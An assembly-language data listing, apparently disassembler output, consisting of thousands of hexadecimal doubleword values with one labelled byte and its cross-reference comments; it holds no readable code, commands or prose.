		dd 51B66C13h, 3600CB20h, 0B068BFEFh, 0EA338055h, 0C0462827h
		dd 6D630C84h, 0FCC808B9h, 3557D605h, 0B000AE21h, 0D5C2963Dh
		dd 0F7600DFh, 5E7C41B7h, 40000879h, 7AC6F7B2h, 659081h
		dd 0F1E6BB82h, 0A006A5DFh, 0E274DA01h, 42370C67h, 39884C70h
		dd 0F594BFh, 8DF306F0h,	9670CDD9h, 29C4E00Eh, 71AD80B0h
		dd 0E6879598h, 74130635h, 89B1E7Ch, 20E1A730h, 8853F7h
		dd 9DFF91C1h, 2590949Fh, 66133103h, 0F8B4120Dh,	17872A9h
		dd 108BC84Bh, 0E071BAB8h, 5036B81h, 5EA9279Bh, 5DD991DDh
		dd 80AD8CD0h, 400BE9Fh,	0F8762497h, 16DA684h, 3A5B7406h
		dd 8FDD5960h, 4C26E129h, 0F119079h, 3AEC7461h, 7776C01Ch
		dd 9526DD58h, 0B2AD28C0h, 49A564h, 53E7A3B4h, 257EBF0Eh
		dd 0DB98F30Fh, 921D4079h, 502AEAACh, 53B887Fh, 0B6CB06EEh
		dd 209026DBh, 0D6D222h,	86EE301Fh, 401569F8h, 0A7B44EAh
		dd 0D1765600h, 778A1EB7h, 80470057h, 8D8B0F9Fh,	797F9163h
		dd 0E8111200h, 0EC640B78h, 60743FC2h, 1083E903h, 79C86699h
		dd 0F5004552h, 5B77BE20h, 2F4E25D9h, 0EBFC2613h, 88C71A00h
		dd 3E2EF82h, 0F3C1027Ah, 58482A6Ah, 0C3F70049h,	43B9D449h
		dd 267A0E51h, 9240EE18h, 88A08C7Ch, 7ECF0B1Ah, 870780CCh
		dd 3890C767h, 0E400716Bh, 1F7CD29Dh, 7500DA3Ch,	4D8EFFFBh
		dd 30159317h, 6B691476h, 62003CEEh, 0CA0C7104h,	1899947Bh
		dd 0C08095BEh, 65180ADCh, 7820E1DFh, 2BA6004Ah,	4F8150F8h
		dd 48C61341h, 511EFFh, 36A614C1h, 478318C0h, 0A94D8C0Ch
		dd 7F4284Fh, 0DC275E5Bh, 0EC8410EBh, 0B2E85F77h, 0E338FC60h
		dd 3670DDh, 443A9ABAh, 656DD7A2h, 0F7CCA300h, 0FFAEB5C7h
		dd 33800A6h, 780BE6Eh, 0A9002DF8h, 7087E791h, 3715FEC0h
		dd 4029D28Eh, 0A45E5926h, 11F42B06h, 3008334Bh,	8B20FE7Ah
		dd 0B4005920h, 0C6848D16h, 7C6C51h, 0C04AA1AFh,	6A056D6h
		dd 2EF23626h, 0DF99BD07h, 41B620FCh, 38A7C0C6h,	3F69F23Ah
		dd 58F3B542h, 5301E480h, 2A8A0159h, 9B7EC672h, 9DFAD173h
		dd 4A663521h, 0C093BE0Fh, 3BAF42FFh, 2A400044h,	58FE83ABh
		dd 70C0B1C2h, 0A821F20Ch, 0D880E913h, 5EB45098h, 5BF4FBEDh
		dd 1188B51Dh, 0F6219B18h, 0DB30EDDh, 3007D4Fh, 0A5BE668Fh
		dd 1E9D0114h, 8DF88494h, 59585D30h, 1843A423h, 2C6C2190h
		dd 6F073BFEh, 9CA9369Dh, 0CD540D97h, 129F59C0h,	764300F8h
		dd 0CE9EC2EAh, 571F9256h, 0D1006C3Eh, 0B4C492Dh, 4A59005Fh
		dd 1F77CFB2h, 8B0E95D5h
		dd 0EFA1C850h, 191EC7A0h, 0C04FA647h, 4CF72361h, 320D0528h
		dd 80ADDB8Dh, 0EDA2BAE0h, 5E312B00h, 513C813Ah,	87CA0112h
		dd 97B05FCEh, 92FFC8D0h, 326B5400h, 0C376B553h,	0A0DD0034h
		dd 711DF7A4h, 0F53BF0A8h, 6B4C00C4h, 976F3ED6h,	6A640051h
		dd 3C0C0DC8h, 101CF760h, 664180ECh, 0FC56D99Eh,	0A0BC7F0h
		dd 7A5AE18Bh, 0F9820099h, 0B9459578h, 60FE1CF0h, 0DCC8E300h
		dd 3A6588ABh, 509F3C5Eh, 9E364507h, 5037060Ch, 0C7BE1B1Eh
		dd 0FD16003Fh, 9445B5FFh, 0D7E00065h, 4C479A44h, 57395329h
		dd 5DDC8036h, 21BCEFFDh, 0A4911DD6h, 0BAEA4080h, 0BE145710h
		dd 4D9FC200h, 9B43C95Fh, 0AFB00718h, 8072E6ADh,	270151FCh
		dd 10C1E300h, 0A64F7E0Bh, 30E27C86h, 0DA10ED48h, 0D3079A1h
		dd 54D9A841h, 1A660ACBh, 1F81DE5h, 23FBF5DAh, 25218030h
		dd 16272B03h, 0AF811h, 0C18147C8h, 0E72D7552h, 7CF8C94Ah
		dd 31566D00h, 0DB08BC24h, 7000D87Ch, 0FA5DF8A8h, 14367D2h
		dd 3B075B32h, 0F0B148F9h, 5F00B761h, 887DE118h,	101D1Ch
		dd 8387550Ah, 978E2065h, 0F5C9E000h, 0D0923880h, 565A05B6h
		dd 43E72F2Ah, 0EB5FD240h, 0F283F1C0h, 0EA8C2403h, 88B11089h
		dd 16184A82h, 0E22A9F6h, 8CDEFF04h, 5E1878D6h, 1D103Eh
		dd 63553A9Dh, 1B7B9h, 0E4157BE1h, 397385CEh, 8FB29F00h
		dd 0E72E7091h, 1CA0383h, 0C7A53BEFh, 26BC31A0h,	0CC3DC303h
		dd 0D88DB0A3h, 0CEC5B14Ch, 12235CB0h, 4389078Ah, 0ABD50030h
		dd 6290A0FEh, 94040F9Ah, 2A406D48h, 7A54817Eh, 29C968C0h
		dd 1429FF3h, 0A1BCA65Eh, 60E338FEh, 9576E9FFh, 53983B50h
		dd 0E722011Ch, 6444FE07h, 2ECEA01Fh, 94D5FBh, 0D8CD13B8h
		dd 9F6EAA58h, 30649700h, 4F9B8E46h, 0F81A1E78h,	8258808Ch
		dd 86E2E66Ch, 0EA3E9300h, 0CBFEC160h, 4230C6F7h, 0A000863h
		dd 99EE0D7Dh, 1DBAB86h,	0A38F60CEh, 0FA21E371h,	942011C0h
		dd 0E1771903h, 0B0E2E467h, 9F071Bh, 2E2B32C2h, 48CA9DC1h
		dd 65AAAB00h, 0E9598B87h, 48B96060h, 9958B402h,	704E7F30h
		dd 0D5B4Ch, 31C8C4CEh, 4332B533h, 0CB918C0h, 6F149Fh, 807CA47Dh
		dd 0D6BFF1C5h, 0F8EA4300h, 4BEE9CBDh, 0EB9E3030h, 0C87A4608h
		dd 5C760A7Ch, 2B00A176h, 0E4663C2Fh, 0DF9F9553h, 0D669C031h
		dd 0C950273Dh, 2C0DAE0Ah, 0C600D88Ah, 0EA48327Fh, 0D01F00CCh
		dd 45DF0FD1h, 0BE001344h, 812E1B64h, 0C04677D7h, 37C1A55Ch
		dd 1AE6E8B6h, 0F7525B01h, 86894F74h, 5C192BD4h,	2300245Ah
		dd 0CEA99EE4h, 0AA00423Ch, 0B25551F6h, 0EC8408FAh, 0E4980088h
		dd 159A3671h, 25014158h, 0FAE82A1h, 92FC70F5h, 0C7B20681h
		dd 18A9B48Eh, 18B7DB3Ch, 2729AD36h, 79D81C8Ah, 10D0341h
		dd 2CD15616h, 3649FC39h, 9B09A104h, 0CBC0234Ah,	0F8AD969Ch
		dd 3F30007Ch, 0B0025219h, 19C77006h, 424062B1h,	0E2A893h
		dd 0B4E1B57Ch, 26E3C99Fh, 85C8CD60h, 4C7681h, 0D231D3C1h
		dd 9697982Eh, 0F00AF7Bh, 3B7B5702h, 0CC51895h, 0F7DC723Dh
		dd 470CB638h, 0B8BAC88Dh, 8C90542Dh, 7325000Bh,	99C54C7Dh
		dd 8100FA8Dh, 54D6DDDAh, 1828692Ah, 706A4680h, 0B6285911h
		dd 4301E3B9h, 9C6888E7h, 6E606BA5h, 8E570066h, 0D23E6793h
		dd 30742E2Ah, 0F571DA07h, 5A40C5B6h, 7478FB32h,	71A9058h
		dd 51DDB11Fh, 0EBA1C1D1h, 71188019h, 749D8DD9h,	0C34B0EBAh
		dd 0C7AC9666h, 4600FC40h, 0DAB199D8h, 8B2833h, 0FE8648F5h
		dd 39D4B98Fh, 41D2DE03h, 0C8A9F98Ch, 944A4Bh, 6ED38D7Bh
		dd 452CF526h, 0E2052407h, 61F1236Fh, 79805A4Eh,	0D84B29Ah
		dd 7E1DAB67h, 0C20F5DBAh, 0B46580E4h, 0D08C425Fh, 3DA12C99h
		dd 8D67211Bh, 0F1DADDA8h, 60DB65F8h, 0A07D1934h, 91BD22Ah
		dd 0B12076D3h, 80804358h, 73457ED8h, 0DA52D155h, 69F10598h
		dd 77C19AAFh, 6CC44ABDh, 0FB35008Dh, 0A8E74B6Eh, 7F3DD885h
		dd 5A940FFCh, 0E0938E98h, 7D5B4A34h, 2C0A30BCh,	22B07660h
		dd 0F6249454h, 0F21A40h, 57C833E6h, 0FA9E2943h,	53882B50h
		dd 59DBBD18h, 0E4C730h,	0DC2E3547h, 0A845B7D0h,	0E8CBF933h
		dd 66600C31h, 0FE949DBh, 42603F78h, 1BADFB18h, 16EF063Eh
		dd 0F16FE798h, 114C711Eh, 115D69CCh, 87E00FAh, 936FB3D2h
		dd 763AD719h, 9EC0709Dh, 0F0749B71h, 8F0900F3h,	6373D0CCh
		dd 0D146FE8h, 8024ED11h, 0B4440960h, 9902877Fh,	0E067095Eh
		dd 60E0B7ECh, 2C253941h, 2273154Ah, 58437E06h, 761E796h
		dd 7A4CAFF1h, 0F25280E1h, 0CB075E9h, 7F4E3700h,	90EF0F4Dh
		dd 598F0F82h, 0DE002F3Ah, 3BF06F07h, 12C8DC01h
		db 0F3h, 0AAh, 46h
byte_53004B	db 13h			; DATA XREF: ___:0043F701o
					; ___:0043FF11o
		dd 0D9C5E0F2h, 61D60027h, 2FA0725Fh, 0A0374E3h,	0F8EBE4A4h
		dd 0FB649BE6h, 0BF50883Ch, 8592489Bh, 5C170E0Eh, 4AA289C0h
		dd 4907EA97h, 0AD2CB6Dh, 8BFA7500h, 0DA1203EFh,	0FB45A77h
		dd 50D9F0F7h, 850E4579h, 0E0617F9Ch, 0CF3627C8h, 38B7BECh
		dd 0EFA4C0BAh, 4EA033FBh, 0EA007C8Ah, 79E7671Ch, 4CC0B9E1h
		dd 6E3C1F8Ch, 0D9A84E80h, 9170E2B0h, 7D1D3102h,	0C0BA3D58h
		dd 34F641Eh, 1062B56Eh,	0F6BBED9Dh, 9BB9A2D0h, 15030D7Dh
		dd 8D708018h, 41B80EEAh, 8AEE341Fh, 0AB453C0h, 20F65ECh
		dd 0A0B84DA7h, 0C2EB49B6h, 0CA79000Fh, 0F18421B1h, 0A10040DAh
		dd 0D942391Bh, 9BE759h,	1720A45h, 9F21FB4Bh, 98016298h
		dd 0A6BFCE1Dh, 0B12016C2h, 2AC304BDh, 87D23C3Bh, 28DEB0C1h
		dd 0EB061489h, 442CC4CAh, 6CED0040h, 49856858h,	4C00F898h
		dd 0FED6EA4Eh, 7C7C6414h, 0B4411C38h, 6E1080C2h, 0BCAD6932h
		dd 8A78D509h, 9B0E0009h, 0E61D2D1Eh, 56C203B7h,	66D51D1h
		dd 8B40DEF2h, 4800FE29h, 92F8847Bh, 0A1B2C9h, 801AAC52h
		dd 0A0900ADDh, 0C0B4800h, 0EAE42096h, 7EA72E43h, 29EE0551h
		dd 7B5C0ACh, 4030E1C2h,	7564B8C6h, 743F2465h, 0C86E0000h
		dd 0EA5F2F48h, 171AA900h, 68C4A15Bh, 1EB800B2h,	0AD32384Eh
		dd 6900E73Ch, 5FDE427Fh, 3A43979Bh, 3E80E441h, 0D57A231Dh
		dd 1C0007FAh, 0B0BD95BAh, 29AA59h, 6D281537h, 0D44E1462h
		dd 0ACF7700h, 987D1A52h, 0B4ED00C9h, 883FE2F9h,	0F5793ED6h
		dd 10BBC000h, 0ECEA069h, 2E70CAh, 3B61AE03h, 90259F80h
		dd 30FB2FE0h, 2490A107h, 80A46939h, 79D29B4Eh, 0BED127h
		dd 7D6B98F7h, 53FB75F2h, 0EC8320h, 0F6FD7F6h, 63A97221h
		dd 3D67B700h, 0DC291AC3h, 116904E0h, 8019C652h,	787F740Ah
		dd 0FD4D993Ah, 0E7219701h, 0DDF650E9h, 0D1E020h, 1A5346A9h
		dd 638E42A8h, 68D0D930h, 18A02EF2h, 102D17C6h, 59077843h
		dd 0D2A6B756h, 6CA4C09Fh, 1830AC1Ch, 0C8FB1573h, 0C61D42D1h
		dd 41801646h, 8AAB5C97h, 0C0670022h, 0D13BD788h, 0AA0021FAh
		dd 0EC902C4Ah, 8B45Bh, 0FCBCF818h, 0BD472244h, 8C535Ch
		dd 87C7D92Ah, 23E011Fh,	6E793BCEh, 50487D59h, 0AE3F4A44h
		dd 1FEA0051h, 346E78Fh,	8E9800A7h, 21BA42CCh, 0DE18E543h
		dd 94F0DCFAh, 969CA120h, 709B11E8h, 0C7EA008Ah,	0ECFEB66Ch
		dd 871F86E8h, 0F898B06h, 60C80EACh, 690E5201h, 0AA2E007Dh
		dd 0E11FC057h, 0FA779855h, 4BE3600h, 0A205CA12h, 3F6900F3h
		dd 2B1E5CD1h, 38AC17FBh, 628C2100h, 3EDFF5Bh, 0BE7C004Ah
		dd 5F2CC371h, 6D00892Dh, 3552B541h, 7828A097h, 494F007Fh
		dd 555CC918h, 2C077258h, 2EEC2431h, 0FC7ED270h,	0EA23F866h
		dd 620A001Ch, 880E7181h, 3F1C2AF1h, 7D00784Ah, 2B2DCAC8h
		dd 702209E9h, 858F7420h, 97886583h, 0DE101ED8h,	507BFF02h
		dd 0A1180AD7h, 19B7DBDCh, 3E8670h, 1C9D1615h, 0EB321058h
		dd 0A0234700h, 175E4940h, 77402ACh, 0D336F7CEh,	707330E1h
		dd 2400AE20h, 0C58E0C7Eh, 0FCCE404h, 79CFDE30h,	1C644B92h
		dd 8D287080h, 94C8180h,	882C503Ah, 18909F48h, 0B3AE8B70h
		dd 0E559A5h, 1B95E103h,	7EC14955h, 0E45420F6h, 61CDD800h
		dd 0C9F32C18h, 0ED4200B0h, 0B37BD33Ch, 4428A7CAh, 0AC7C850Bh
		dd 1E5D1700h, 5F37702Eh, 73AF00DAh, 0C97FC7B7h,	0CF3A086Eh
		dd 655E83E3h, 98178526h, 4D1A8283h, 1C4C8CC6h, 3F534702h
		dd 6CC0FDC2h, 164C40CBh, 0B2270474h, 5CC75E6Dh,	7E19E1CFh
		dd 74DB7DC0h, 2BFF00A8h, 46F3910Ch, 4703010Dh, 82FACF8Eh
		dd 8E100DDh, 0FF73F79Fh, 0D5120D4Fh, 900143B7h,	0EA505EF1h
		dd 0BC984880h, 5DA814F4h, 0D444F03h, 0E057E93Ah, 6FC9B1h
		dd 33826042h, 22130797h, 184E0318h, 7E43AA0h, 3E2F3FA3h
		dd 0C1CD8041h, 0D0064D1h, 0B211E35Eh, 718E9506h, 0C96E006Fh
		dd 0CBF59B8Ch, 8B0022B3h, 0FC9625A0h, 756C97h, 19DBA15h
		dd 6D3458FEh, 0AF126AF8h, 0C0002857h, 11933EF7h, 26FF236Eh
		dd 0AA5B4B80h, 1D6DB8B1h, 44E82B4h, 8120EA72h, 802B8D20h
		dd 44FA9430h, 92D121Ah,	5B8F824h, 626A3187h, 0C8E2C67Eh
		dd 0B0C00487h, 1AE09737h, 8FE94C3Eh, 0C3B423C3h, 80ECA7B9h
		dd 53CF5Eh, 0FDB8CCA5h,	33A04981h, 7CD10926h, 0B05B8380h
		dd 0A14A87h, 62FE5830h,	0DB7B05A8h, 4625CB13h, 13D2F701h
		dd 78701CDDh, 29700E07h, 2BC10A3h, 99AB35E7h, 0AC400C4Ah
		dd 0C6B0412Eh, 0FFBCB401h, 6D0EC730h, 0D0063822h, 48157C0Fh
		dd 243681Fh, 0D9593087h, 6982D49Ah, 0E8625650h,	3713324h
		dd 0E26C6F14h, 58717803h, 0BEE44700h, 3643F50Fh, 0D65D00A5h
		dd 516E240Ah, 403F1E1h,	0C23267A8h, 6517A10Dh, 49017823h
		dd 29D84A4h, 0A7708019h, 0E83C7023h, 4AF424FFh,	9C750060h
		dd 27D897EDh, 311FE0A8h, 267AD300h, 2B6A89A7h, 0FD5C09B5h
		dd 1000ACB7h, 6B58607Ch, 84E46400h, 0E5DF5EE9h,	506A00C5h
		dd 0FBF2BAC0h, 0B100F36Fh, 0D7D99E48h, 123421F6h, 0B440BCh
		dd 0FE5286B8h, 0D101AF4Ch, 0F6F21038h, 6ACCAB2Eh, 0BB6100D3h
		dd 11BF8BEDh, 0FC261243h, 0D70FFC81h, 0AFA4E58Ch, 306A6C8Ch
		dd 6EC839C7h, 91009C87h, 76EF61F7h, 0BCF6A1h, 8029A7D9h
		dd 0CEAD817Ch, 1F561B03h, 98CF270Dh, 3FD37206h,	0D4D47313h
		dd 8294581Eh, 0E1FA6A01h, 0EC884504h, 0B901496Eh, 9C8A6BDFh
		dd 0E054E539h, 0A9796D80h, 13A8018Ch, 7E9ADC4Ah, 0DF530B4h
		dd 78E6E8BAh, 930CF8E2h, 38174910h, 48020BA6h, 8400BAEDh
		dd 2F5045BEh, 94E9C22Eh, 20A89E8Fh, 0DC21FC73h,	58A505F0h
		dd 8C312060h, 5B039AC8h, 81C1716Eh, 0B6C4FFA1h,	0A820488Dh
		dd 144400E1h, 4730555Fh, 9898B6DBh, 401CA000h, 705D093Dh
		dd 7015F024h, 770512E8h, 5EB40068h, 38619D66h, 338D2100h
		dd 0FECE1474h, 2C77783Dh, 78E0650Ah, 7200E160h,	0E7617E64h
		dd 1DC7AC51h, 0B8955Dh,	2780CDF8h, 30062B7h, 326D3E3Fh
		dd 95E672h, 0D184F1AFh,	9ADE2B5Dh, 7A729F4Ch, 0E777CA07h
		dd 8F9BA625h, 0C2EE6036h, 450F53h, 51DBBCAFh, 0D7B8BFFCh
		dd 8C1E6BFAh, 9E40B029h, 637717DCh, 48E95886h, 8C6CACh
		dd 0CB761DD1h, 0D0AC96B7h, 5F00787Eh, 8A870CF7h, 97BC91h
		dd 4766DB40h, 0BD2D3358h, 0BC1CB03h, 80B87469h,	421F9F0h
		dd 40724F2Ch, 1ECDA42h,	1854B566h, 1880D270h, 94C0B984h
		dd 8163B65h, 521D8C55h,	67B4CE02h, 91A8E07Dh, 28BF9848h
		dd 4F472ACh, 6E460DD9h,	9660907Eh, 0B902E0C9h, 5DAE6A01h
		dd 4580A5A8h, 3BD3A48Ch, 0FC00EB0Ch, 0AF935979h, 700F62A3h
		dd 20267F21h, 0DED2A6B6h, 8D651FE4h, 0B35082BAh, 0FC986490h
		dd 30C03B7Ah, 2D014CE9h, 0A16E04BFh, 0C005315Dh, 0CB301C94h
		dd 935CC271h, 1D9200A5h, 0F1F3C415h, 0D790ABh, 98CBE5A7h
		dd 8A7F3A89h, 702DA206h, 3D60C16Fh, 3500AA8Fh, 0A1364783h
		dd 60366FFh, 0BAF603E5h, 1190E0B1h, 9AD500B3h, 6A0D0289h
		dd 0E50022A5h, 0FACD047Fh, 0C5D15Fh, 62EA42ADh,	0D46D0910h
		dd 0A23A4600h, 0D6B6E84Bh, 8871E2Ch, 935DB7h, 33CB49ECh
		dd 1013782h, 2BE1C3A7h,	0FBDBC487h, 74FBC84Bh, 8309243Fh
		dd 77F10535h, 50B9C0EEh, 4100076Eh, 0E5AC7CA5h,	0A18FB8h
		dd 806DFA46h, 61557090h, 73471901h, 0F6435F23h,	54D8A0F3h
		dd 3B89C0Dh, 1CE65096h
		dd 77D5C1D0h, 36007679h, 680612B1h, 41B79Bh, 7A69D7D3h
		dd 72F85B10h, 8B979112h, 21453E07h, 0D2F15040h,	0C68F3E1Fh
		dd 127F892h, 3D8CDE6Ch,	0B76EE86Fh, 24775226h, 0F765F980h
		dd 15755884h, 10C1C3A3h, 0D0488BA1h, 0B1CBE5BFh, 811E00D4h
		dd 7D80999Fh, 0EA6CFC57h, 0B17E22h, 8206A653h, 0F2D9C24Bh
		dd 0B68B3100h, 4709148h, 0D4CA0AE5h, 32E9D5C8h,	58909C51h
		dd 0E830644Dh, 7520CC46h, 7C900B37h, 0CC24F808h, 9254F45Ch
		dd 8DA07064h, 97D3421Dh, 2C80B7D6h, 50FB696h, 501C70C0h
		dd 3CD87Bh, 287395EDh, 25B4FAF3h, 77333600h, 7E291B10h
		dd 0B04400C5h, 88DB4A4Bh, 0D7035599h, 2C0394FFh, 0A309C86Fh
		dd 0B9DE0E93h, 80E06D77h, 0BC272F8Ah, 26609C00h, 0F67F2A45h
		dd 0B8CBF2EEh, 1674E066h, 0B510C9h, 7A89A385h, 0E958522Ah
		dd 83CB00B8h, 8633E472h, 3FABF81Ah, 0AD800CD5h,	54439CBAh
		dd 0E4007F4Fh, 7A6A0373h, 0C0141E29h, 13F0E6E0h, 2700C9FBh
		dd 20A2262Bh, 5A1E2D0h,	5DB6DF3Dh, 0B8968082h, 0C00F7A94h
		dd 0B5F31636h, 107100B4h, 4F56E45Eh, 90300E0h, 0FE92BE5Fh
		dd 8D801638h, 5DB800A0h, 87081BAh, 8AFC48B9h, 0FD91C100h
		dd 3FAA6FF0h, 93A4004Ah, 92BFB00Fh, 0C90F7F64h,	0C28E4196h
		dd 0C0EA3A87h, 5864C69h, 663EAA99h, 0D2E443E7h,	5BEB8303h
		dd 0CEC98201h, 8851F95Ch, 5A835DCh, 0B19789FEh,	0AA8BE07Eh
		dd 54EBC000h, 0E651664Ah, 0D76901DAh, 4CCAB82Eh, 658BC816h
		dd 147DF00h, 0D9197BDEh, 818F178Ch, 0FD5B07F9h,	0D5A12032h
		dd 0CD00EB59h, 0AE9A9B5Eh, 0F89293B2h, 7597067Fh, 4828B340h
		dd 26DBC27h, 4874F4A8h,	9F228Ch, 5B5CA9F5h, 727A8D96h
		dd 217F5903h, 17C466h, 0FDCFB2D8h, 3F43FAD0h, 2AE8E907h
		dd 44D06B40h, 4A77795h,	0D2790254h, 0FE54900Ch,	0D00047E4h
		dd 99EB764Ah, 7A5CBD3h,	0ABA3DA9Dh, 1AD830BBh, 7C142050h
		dd 0FBED10h, 0CA86C7EBh, 0EBAFE0Ch, 3BEA0556h, 0C98F005Eh
		dd 0A538200Bh, 5704BC00h, 1FECB30Fh, 82DC0089h,	1A4E477h
		dd 5F904637h, 9AE2CE00h, 3E748F29h, 3C41384Ch, 0C1852A89h
		dd 0AACEB180h, 8F031264h, 247A7CB8h, 0A110199h,	0D63EC9Ah
		dd 1004C8B2h, 184B3A3Ah, 5520657Fh, 0FA2C0CBCh,	0AA604DA3h
		dd 0CCED800h, 9EFD5C02h, 19BC1F59h, 56827A0Dh, 99A1448Ah
		dd 0F215C3E0h, 570FCE13h, 8C330FBEh, 861B3483h,	7E88B064h
		dd 4F2D8E60h, 4AD20610h, 2EA769B0h, 665AFA60h, 7434F42Fh
		dd 0EDAA033Fh, 0D89193D1h, 6F69F8E0h, 3A7C3000h, 8D3C55B1h
		dd 3B0D0060h, 783163A5h, 9200A3C6h, 0AF2FFDC1h,	35E4A12h
		dd 4926D3E9h, 15E859E4h, 9E3BD986h, 6E3D003Ch, 0A4745A80h
		dd 0E608007Ah, 57792B52h, 943821A5h, 3E9CBE92h,	566C001Ch
		dd 4BE7B97Fh, 0E3BF2CEBh, 12A1D9Eh, 0E224CFA7h,	80D07163h
		dd 798B6218h, 0F80354h,	12F1D21Bh, 0B29DC475h, 68E5100h
		dd 93625901h, 321F002Ch, 0A7DD288Dh, 8FE8963Dh,	5321D300h
		dd 0E29A5407h, 0E427980Dh, 0F31C00C1h, 0F9B23D1Fh, 0C873E9A4h
		dd 4DEA1A7Ch, 0B038DB00h, 91DE23F6h, 0FBE41C2Eh, 7FC38080h
		dd 62B86FDAh, 47062071h, 155C3BFEh, 0E7A50650h,	70305A1Bh
		dd 69C4AE30h, 0F0C3D6D2h, 8FF458h, 182B366h, 0FF548C94h
		dd 0E900B00h, 251AA218h, 0E22F44Eh, 0D565F6F3h,	7CD398A0h
		dd 0E300DDE8h, 30B56EF2h, 0B6A05BEh, 0CC51E7CEh, 1970C321h
		dd 54E9EB7Bh, 0B93E09Ch, 17EC7D0Fh, 7056A0DAh, 0B028F7F2h
		dd 59E807h, 8501BE71h, 42600317h, 378F7C03h, 0ACD816h
		dd 897A5A20h, 0F914D31h, 0D4BE2507h, 20E1E67Fh,	5A302F58h
		dd 3826005Ch, 0BA59F67Ah, 8E007D6Eh, 53166241h,	0E813FF96h
		dd 50E76157h, 0CC21259Bh, 23032FD7h, 5862C8C4h,	3C40EEC9h
		dd 2D00BE0Fh, 0E620EF93h, 0B50032D5h, 31D91458h, 6C9AA0h
		dd 0D7F91CFFh, 0DDDBEEACh, 754089C0h, 144810D1h, 885084FFh
		dd 6018EE0Eh, 0C36E9BE0h, 0F30059C8h, 95E9D819h, 7F5AE802h
		dd 0B50B0026h, 27C322A0h, 0DD00AACAh, 0B10A5C3Ch, 78B2E92h
		dd 57D3B3B9h, 50724051h, 1400E6DCh, 8A1CD5CDh, 7E4B6377h
		dd 0B1F40376h, 3BDA5EC5h, 99AFD0B8h, 8CFE6200h,	33F0E81Bh
		dd 8DCB00B9h, 90CF4AC4h, 2A000530h, 73CD5A36h, 0FC9F91E4h
		dd 1DB400C3h, 0E19C1075h, 0C0775CF7h, 0EE2F9600h, 614A6D1Bh
		dd 7A40147h, 0A8B8BF89h, 16A5F0E3h, 8542D318h, 0B39A18h
		dd 0A2E5DC6Ch, 0A58301C6h, 0DBE16700h, 30C59BB4h, 0DC983A40h
		dd 0C3BC81Dh, 3E20A7AFh, 9E7058h, 5F69790Fh, 37F9A36h
		dd 1D18198Bh, 69101C17h, 0BA3687D6h, 72216839h,	2DFACF5h
		dd 3F603151h, 0A53C34A0h, 4217E166h, 7800CB6Fh,	370A9246h
		dd 8F090010h, 0A1AD11F6h, 450F0687h, 0EA51A88h,	0DEFB85EFh
		dd 47A72DC0h, 1BC70070h, 827D82Ch, 28744864h, 20F83E30h
		dd 0C17909h, 0D2D8D1E2h, 0C8D6583h, 0EBCCD40Eh,	0CB326347h
		dd 0E1FC0BFh, 6CAC007Fh, 405F5277h, 871CBBDCh, 0D4073B88h
		dd 0CA71BDCBh, 23EDE21Bh, 0BBB892h, 439A862Ch, 2B0CEE72h
		dd 0C05F8E75h, 0E2700EF6h, 94E06EA2h, 198905BDh, 25D37300h
		dd 699862E0h, 3A59003Ch, 0CEBDBAFBh, 0DD00ADBEh, 0F4C4F283h
		dd 5C0A2C58h, 3791F14h,	5451C58Ch, 72E331BEh, 68FC5DA0h
		dd 0A70DA00h, 949C8D8Fh, 0BAB407ECh, 0D0C2E15Fh, 0BF7C4181h
		dd 17183Bh, 94734DD6h, 128B5F3h, 50BE79C3h, 80D4A4B8h
		dd 95612218h, 0E75CDDh,	0A56F26D1h, 0BEE65A9Ch,	0E429D005h
		dd 38C0ACF0h, 9590579h,	12932F9Eh, 95FCF180h, 31790F98h
		dd 0E2B23E00h, 0FBB38761h, 0A39803h, 0E08DA58h,	286BBBDBh
		dd 10704BF0h, 8DEC2A0Eh, 29EB6025h, 0A462D6h, 0BFE1C56Eh
		dd 0E23C33B4h, 911D3200h, 974FB7Dh, 7BE25Dh, 0C21971BCh
		dd 9079D4BAh, 0F7021000h, 6694EE4Ch, 0C988C030h, 3AA5FC65h
		dd 7D7CB216h, 172800FBh, 0EF1D6AE0h, 0FF049803h, 0E132EEDDh
		dd 7D0935Eh, 0C85B00DEh, 0AC341FC0h, 35007E79h,	0FA782466h
		dd 3771EE65h, 60282629h, 39A3450Dh, 9F0E6800h, 0FCE72590h
		dd 0CC973BCh, 0BD85B838h, 8E000761h, 4775AB36h,	0E456708h
		dd 892315F8h, 79B90380h, 5200EDD8h, 0B05EBEF4h,	656A0Bh
		dd 0A3979893h, 79FC921Ch, 5034DB18h, 0F43AC419h, 5AE8E9C3h
		dd 0A90A03BBh, 0EF5DC98Ah, 90CBC906h, 8162E8h, 1F8CB2AFh
		dd 45538DA9h, 0A57E34E0h, 7D920100h, 0A40CF86Ah, 0D7B00021h
		dd 1CA132C9h, 4003FDCCh, 0C27E9659h, 0C3BFC11Bh, 0D1580885h
		dd 69D08067h, 54E652CFh, 0A0211700h, 5376D3F2h,	3DB5007Ch
		dd 4B1FF837h, 0D1009364h, 0BCC73AE4h, 0E918410h, 0C6310820h
		dd 0A985EA0h, 69E627C9h, 45BE4701h, 8237E15Bh, 0F5BAEE40h
		dd 42A200EEh, 0C130399Eh, 60008356h, 0D8768407h, 15A55CFh
		dd 0B04B410h, 0E0FB0F86h, 1600789Fh, 0AE322182h, 0D2E9FCh
		dd 0F70A5E8Fh, 69FD45E3h, 0A1BE3400h, 647E4EEAh, 0D13E00F5h
		dd 0B3D47B07h, 43003902h, 2D919E62h, 0ABB7215h,	9C932ED2h
		dd 380801FCh, 0C03001FCh, 83008A26h, 0F9207FADh, 3C09CDD8h
		dd 1026F042h, 8C590048h, 0BAC04569h, 0AE11761Fh, 0C9ED09h
		dd 0DB61F444h, 0B6B51EC5h, 0F041C048h, 0FD4DB96Fh, 79D7A00h
		dd 726A4796h, 0ACF5072Dh, 170BC609h, 7AFF9198h,	5FCC40E6h
		dd 0F4031DDDh, 73DA4B5h
		dd 0F2799102h, 0B9309CEDh, 0E0ECFA38h, 2F5C98F5h, 0E756F721h
		dd 1B151600h, 797B37EBh, 25D50028h, 947FAB72h, 0A904EAF0h
		dd 8EE6DD1Fh, 917E0880h, 0EC07BF31h, 8E3FE2Ah, 0CFB15DC1h
		dd 4A94607Ch, 8E3EED60h, 0B8168F94h, 0EB6D0E63h, 8340C9CDh
		dd 49D828A7h, 1E01C700h, 519E89D3h, 25030058h, 91A8543Fh
		dd 840083C2h, 89EC6760h, 0EFC6E08h, 0D12C95A2h,	54CEA3E0h
		dd 990131D2h, 1158253Eh, 8FC4073Ch, 447000F2h, 0FF399113h
		dd 0B80CA577h, 2030DF56h, 9A7C001Bh, 0A18D9EFCh, 87010C3Ch
